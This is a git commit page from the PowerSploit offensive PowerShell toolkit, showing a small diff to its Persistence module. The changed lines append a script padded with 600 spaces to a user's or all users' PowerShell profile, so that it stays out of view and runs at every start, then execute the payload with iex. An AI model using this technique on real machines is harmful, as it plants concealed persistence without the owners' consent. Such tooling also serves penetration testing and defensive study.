aboutsummaryrefslogtreecommitdiff
path: root/Persistence/Persistence.psm1
diff options
context:
space:
mode:
authorPowerShellMafia <PowerShellMafia@users.noreply.github.com>2015-12-18 16:33:59 -0800
committerPowerShellMafia <PowerShellMafia@users.noreply.github.com>2015-12-18 16:33:59 -0800
commit9e771d15bf19ab3c2ac196393c088ecdab6c9a73 (patch)
tree58927893ecb9289ad1de64d3a67eb58d00e4b762 /Persistence/Persistence.psm1
parent9f78286ea7b0ec65d2aa09893a076864dd8d14e9 (diff)
parent9f183e36518176c4299eed5c68b7deac7f4e8025 (diff)
downloadPowerSploit-3.0.0.tar.gz
PowerSploit-3.0.0.zip
Merge pull request #102 from PowerShellMafia/devv3.0.0
Merge 3.0 release changes
Diffstat (limited to 'Persistence/Persistence.psm1')
-rw-r--r--Persistence/Persistence.psm13
1 files changed, 2 insertions, 1 deletions
diff --git a/Persistence/Persistence.psm1 b/Persistence/Persistence.psm1
index 7528f2e..b27b981 100644
--- a/Persistence/Persistence.psm1
+++ b/Persistence/Persistence.psm1
@@ -660,7 +660,8 @@ if(([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::G
{$Prof=$PROFILE.AllUsersAllHosts;$Payload=ELEVATEDTRIGGER}
else
{$Prof=$PROFILE.CurrentUserAllHosts;$Payload=USERTRIGGER}
-' '*600+$Script.ToString()|Out-File $Prof -A -NoC -Fo
+mkdir (Split-Path -Parent $Prof)
+(gc $Prof) + (' ' * 600 + $Script)|Out-File $Prof -Fo
iex $Payload|Out-Null
Write-Output $Payload}
else